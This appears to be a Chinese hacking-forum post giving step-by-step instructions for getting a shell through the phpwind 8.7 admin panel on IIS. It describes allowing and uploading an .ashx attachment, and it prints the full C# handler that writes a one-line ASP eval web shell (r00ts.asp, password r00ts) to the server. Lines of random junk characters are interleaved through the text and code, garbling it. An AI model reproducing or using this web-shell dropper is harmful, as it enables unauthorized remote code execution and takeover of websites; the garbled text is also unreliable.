phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
3 K, x' l7 k; j' B9 j/ T
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
# E9 W7 M$ h- o' r! y2 f, I
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
5 l& J- b& F! R9 D
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

/ h  s' t: Z9 y9 h下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
6 Q; I  [: }( G3 Xcontext.Response.ContentType = "text/plain";
4 b8 R! c6 D0 G! I+ H  YStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
. }7 a0 h. |' Ifile1.Flush();
file1.Close();
}
public bool IsReusable {
: _8 }+ Y4 l% _+ Mget {
4 Y1 t6 r$ P+ ~7 ]8 T: q# l/ Sreturn false;
}
0 u# p8 A5 s& O$ q# [}
}
& v8 R- K/ R; A" b/ k; x7 l